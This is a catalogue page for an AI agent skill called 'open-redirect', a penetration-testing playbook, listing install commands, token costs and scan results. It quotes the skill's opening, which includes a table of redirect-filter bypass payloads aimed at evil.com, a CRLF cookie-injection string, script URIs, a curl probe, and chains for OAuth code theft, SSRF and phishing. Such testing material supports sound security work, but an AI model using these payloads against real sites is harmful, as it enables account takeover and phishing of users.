open-redirect

open-redirect is a skill for Claude Code, Codex from MingyiSecLab/Mingyi-Atlas. It costs 27 tokens per session (1,156 once invoked), scanned A, a copy of open-redirect, Apache-2.0.

A security testing guide for open redirects, where a website sends visitors to an attacker-controlled URL. It also covers tabnabbing, a related browser trick that can replace a page opened in another tab.

In plain words
What is it for?
It is for checking redirect parameters, URL allowlists, OAuth redirect chains, SSRF chains, and browser navigation behavior.
Why use it?
It helps identify redirects that can support phishing, leak OAuth credentials, or become part of a larger attack. It includes ways weak URL filters may be bypassed.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one.

Good fit It is for checking redirect parameters, URL allowlists, OAuth redirect chains, SSRF chains, and browser navigation behavior.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/mingyiseclab/mingyi-atlas/open-redirect
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add MingyiSecLab/Mingyi-Atlas --skill open-redirect
Clone the repo
git clone --depth 1 https://github.com/MingyiSecLab/Mingyi-Atlas

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for open-redirect

README.md
[![agentmods](https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/open-redirect/github.svg)](https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/open-redirect)
Your own site
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/open-redirect"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/open-redirect/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for open-redirect

Your own site · 80×15
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/open-redirect"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/open-redirect.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 27 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,156 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. A grade says what 26 rules found in the file — not that it is safe.
Origin 98% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00027 $0.01156
Opus 5 $0.00014 $0.00578
Sonnet 5 $0.00005 $0.00231
Haiku 4.5 $0.00003 $0.00116

Measured 9d ago against content hash 798271c99e4c, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-12, from the pricing page.

Security

Grade A, and why

open-redirect scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -s -I "$TARGET/redir?next=https://evil.com" | grep -i Location
Origin

This is a copy

98% identical to open-redirect — 2 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

src/skills/standard/exploit/web/open-redirect/SKILL.md · 116 lines

How it starts

The opening of the file, as written. The whole thing — 116 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Open Redirect Playbook

Standalone open redirect = Low/Informational by itself. Chained: critical (OAuth ATO, SSRF, phishing trust transfer).

1. Common parameters

?next=...  ?return=...  ?continue=...  ?redirect=...  ?url=...  ?to=...
?goto=...  ?destination=...  ?back=...  ?returnTo=...  ?callbackUrl=...
?image_url=...  ?file=...  ?logout_redirect=...  ?success=...

Grep recon URLs / JS for these params.

2. Bypass table

Technique Payload
Direct https://evil.com
Protocol-relative //evil.com
Triple-slash ///evil.com
Backslash \\evil.com or /\\evil.com
Encoded slash %2f%2fevil.com
Mixed encoded /%5cevil.com
Userinfo https://[email protected]
Whitelist confusion https://target.com.evil.com (subdomain ends w/ allowed)
Path-traversal in fragment target.com/?redirect=evil.com#@target.com
Data URI data:text/html,<script>location='https://evil.com'</script>
Javascript URI javascript:alert(1) (for XSS upgrade)
CRLF injection redirect=evil.com%0d%0aSet-Cookie:...
Punycode https://xn--80ak6aa92e.com (looks like apple.com)
Mixed-case scheme HTTPS://evil.com
Whitespace prefix %09//evil.com, %20//evil.com
URL-encoded null evil.com%00.target.com
Multiple slashes //////evil.com

3. Chain patterns

3.1 OAuth redirect_uri extension

Target's OAuth flow validates redirect_uri must be on *.target.com. You have open-redirect at target.com/redir?to=.... Attacker:

redirect_uri=https://target.com/redir?to=https://evil.com/cb

OAuth server allows the literal target.com host; victim browser follows the 302 → evil.com → code in URL.

3.2 SSRF extension

Target's SSRF protection denies external hosts via DNS pinning. But fetches the URL via redirect. Server-side fetcher visits target.com (allowed), follows 302 to internal IP (no DNS re-resolution).

3.3 Phishing

Send phishing email from attacker domain → click → lands on target.com/login?next=https://evil-attacker.com/fake-login. After "login" page redirects to attacker — but URL bar shows target.com for the first second, building trust.

Read the full file on GitHub · 116 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 9d ago First seen · 116 lines · 27 tokens per session scan A 798271c99e4c

Subscribe to this mod's changes

open-redirect is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 27 tokens to every session and 1,156 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). It is 98% identical to open-redirect, differing in 2 lines, and is treated as a copy.